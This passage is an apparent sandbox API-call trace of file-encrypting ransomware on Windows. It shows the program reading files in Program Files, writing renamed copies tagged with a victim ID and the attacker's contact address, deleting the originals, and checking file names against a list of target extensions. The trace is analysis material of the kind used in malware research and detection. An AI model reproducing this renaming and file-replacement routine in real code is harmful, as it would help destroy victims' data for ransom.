nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x102, lpOverlapped=0x0) returned 1 [0145.058] SetEndOfFile (hFile=0x10dc) returned 1 [0145.059] CloseHandle (hObject=0x10dc) returned 1 [0145.062] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.062] SetEndOfFile (hFile=0x10d8) returned 1 [0145.063] CloseHandle (hObject=0x10d8) returned 1 [0145.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.063] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0145.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.064] lstrlenW (lpString=".doc") returned 4 [0145.064] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.064] lstrlenW (lpString=".docx") returned 5 [0145.064] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.064] lstrlenW (lpString=".pdf") returned 4 [0145.064] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.064] lstrlenW (lpString=".xls") returned 4 [0145.064] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.064] lstrlenW (lpString=".xlsx") returned 5 [0145.064] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.064] lstrlenW (lpString=".ppt") returned 4 [0145.064] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.064] lstrlenW (lpString=".zip") returned 4 [0145.064] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.064] lstrlenW (lpString=".rar") returned 4 [0145.064] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.064] lstrlenW (lpString=".bz2") returned 4 [0145.064] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.064] lstrlenW (lpString=".7z") returned 3 [0145.064] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.064] lstrlenW (lpString=".dbf") returned 4 [0145.064] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.064] lstrlenW (lpString=".1cd") returned 4 [0145.065] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.065] lstrlenW (lpString=".jpg") returned 4 [0145.065] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.065] lstrlenW (lpString=".doc") returned 4 [0145.065] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.065] lstrlenW (lpString=".docx") returned 5 [0145.065] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.065] lstrlenW (lpString=".pdf") returned 4 [0145.065] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.065] lstrlenW (lpString=".xls") returned 4 [0145.065] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.065] lstrlenW (lpString=".xlsx") returned 5 [0145.065] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.065] lstrlenW (lpString=".ppt") returned 4 [0145.065] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.065] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.065] lstrlenW (lpString=".zip") returned 4 [0145.065] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.065] lstrlenW (lpString=".rar") returned 4 [0145.065] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.065] lstrlenW (lpString=".bz2") returned 4 [0145.065] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.065] lstrlenW (lpString=".7z") returned 3 [0145.066] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.066] lstrlenW (lpString=".dbf") returned 4 [0145.066] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.066] lstrlenW (lpString=".1cd") returned 4 [0145.066] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0145.066] lstrlenW (lpString=".jpg") returned 4 [0145.066] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.066] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0145.066] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0145.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.067] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=147) returned 1 [0145.067] CloseHandle (hObject=0x10d8) returned 1 [0145.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0145.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.068] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.068] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.068] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.068] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0145.068] GetLastError () returned 0x0 [0145.068] ReadFile (in: hFile=0x10d8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x93, lpOverlapped=0x0) returned 1 [0145.070] WriteFile (in: hFile=0x10dc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xa0, lpOverlapped=0x0) returned 1 [0145.071] ReadFile (in: hFile=0x10d8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.071] WriteFile (in: hFile=0x10dc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x102, lpOverlapped=0x0) returned 1 [0145.071] SetEndOfFile (hFile=0x10dc) returned 1 [0145.071] CloseHandle (hObject=0x10dc) returned 1 [0145.371] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.371] SetEndOfFile (hFile=0x10d8) returned 1 [0145.383] CloseHandle (hObject=0x10d8) returned 1 [0145.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.383] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0145.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.384] lstrlenW (lpString=".doc") returned 4 [0145.384] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.384] lstrlenW (lpString=".docx") returned 5 [0145.384] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.384] lstrlenW (lpString=".pdf") returned 4 [0145.384] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.384] lstrlenW (lpString=".xls") returned 4 [0145.384] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.384] lstrlenW (lpString=".xlsx") returned 5 [0145.384] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.384] lstrlenW (lpString=".ppt") returned 4 [0145.384] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.384] lstrlenW (lpString=".zip") returned 4 [0145.384] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.384] lstrlenW (lpString=".rar") returned 4 [0145.384] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.384] lstrlenW (lpString=".bz2") returned 4 [0145.384] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.384] lstrlenW (lpString=".7z") returned 3 [0145.384] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.384] lstrlenW (lpString=".dbf") returned 4 [0145.384] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.385] lstrlenW (lpString=".1cd") returned 4 [0145.385] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.385] lstrlenW (lpString=".jpg") returned 4 [0145.385] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.458] lstrlenW (lpString=".doc") returned 4 [0145.458] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.458] lstrlenW (lpString=".docx") returned 5 [0145.458] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.458] lstrlenW (lpString=".pdf") returned 4 [0145.458] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.458] lstrlenW (lpString=".xls") returned 4 [0145.458] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.458] lstrlenW (lpString=".xlsx") returned 5 [0145.458] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.458] lstrlenW (lpString=".ppt") returned 4 [0145.458] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.458] lstrlenW (lpString=".zip") returned 4 [0145.458] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.458] lstrlenW (lpString=".rar") returned 4 [0145.458] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.458] lstrlenW (lpString=".bz2") returned 4 [0145.458] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.458] lstrlenW (lpString=".7z") returned 3 [0145.458] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.458] lstrlenW (lpString=".dbf") returned 4 [0145.458] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.458] lstrlenW (lpString=".1cd") returned 4 [0145.458] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0145.459] lstrlenW (lpString=".jpg") returned 4 [0145.459] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.459] lstrcmpiW (lpString1=".VBS", lpString2=".com") returned 1 [0145.459] lstrlenW (lpString="OSPP.VBS") returned 8 [0145.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.540] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=94467) returned 1 [0145.540] CloseHandle (hObject=0x1088) returned 1 [0145.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0145.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.541] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.541] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0145.541] GetLastError () returned 0x0 [0145.541] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x17103, lpOverlapped=0x0) returned 1 [0145.754] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x17110, lpOverlapped=0x0) returned 1 [0145.756] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.756] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xe4, lpOverlapped=0x0) returned 1 [0145.756] SetEndOfFile (hFile=0x1080) returned 1 [0145.756] CloseHandle (hObject=0x1080) returned 1 [0145.758] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.758] SetEndOfFile (hFile=0x1088) returned 1 [0145.759] CloseHandle (hObject=0x1088) returned 1 [0145.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0145.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.760] lstrlenW (lpString=".doc") returned 4 [0145.760] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0145.760] lstrlenW (lpString=".docx") returned 5 [0145.760] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0145.760] lstrlenW (lpString=".pdf") returned 4 [0145.760] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0145.760] lstrlenW (lpString=".xls") returned 4 [0145.760] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0145.760] lstrlenW (lpString=".xlsx") returned 5 [0145.760] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0145.760] lstrlenW (lpString=".ppt") returned 4 [0145.760] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0145.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.760] lstrlenW (lpString=".zip") returned 4 [0145.760] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0145.760] lstrlenW (lpString=".rar") returned 4 [0145.760] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0145.760] lstrlenW (lpString=".bz2") returned 4 [0145.760] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0145.760] lstrlenW (lpString=".7z") returned 3 [0145.760] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0145.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.760] lstrlenW (lpString=".dbf") returned 4 [0145.760] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0145.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.761] lstrlenW (lpString=".1cd") returned 4 [0145.761] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0145.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.761] lstrlenW (lpString=".jpg") returned 4 [0145.761] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0145.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.761] lstrlenW (lpString=".doc") returned 4 [0145.761] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0145.761] lstrlenW (lpString=".docx") returned 5 [0145.761] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0145.761] lstrlenW (lpString=".pdf") returned 4 [0145.761] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0145.761] lstrlenW (lpString=".xls") returned 4 [0145.761] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0145.761] lstrlenW (lpString=".xlsx") returned 5 [0145.761] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0145.761] lstrlenW (lpString=".ppt") returned 4 [0145.761] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0145.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.761] lstrlenW (lpString=".zip") returned 4 [0145.762] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0145.762] lstrlenW (lpString=".rar") returned 4 [0145.762] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0145.762] lstrlenW (lpString=".bz2") returned 4 [0145.762] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0145.762] lstrlenW (lpString=".7z") returned 3 [0145.762] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0145.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.762] lstrlenW (lpString=".dbf") returned 4 [0145.762] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0145.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.762] lstrlenW (lpString=".1cd") returned 4 [0145.762] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0145.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0145.762] lstrlenW (lpString=".jpg") returned 4 [0145.762] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0145.762] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.762] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0145.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.829] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=800867) returned 1 [0145.829] CloseHandle (hObject=0x1088) returned 1 [0145.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0145.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.829] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.829] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0145.830] GetLastError () returned 0x0 [0145.830] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xc3863, lpOverlapped=0x0) returned 1 [0146.064] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xc3870, lpOverlapped=0x0) returned 1 [0146.084] ReadFile (in: hFile=0x1088, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.085] WriteFile (in: hFile=0x1080, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13e, lpOverlapped=0x0) returned 1 [0146.085] SetEndOfFile (hFile=0x1080) returned 1 [0146.393] CloseHandle (hObject=0x1080) returned 1 [0146.412] SetFilePointerEx (in: hFile=0x1088, 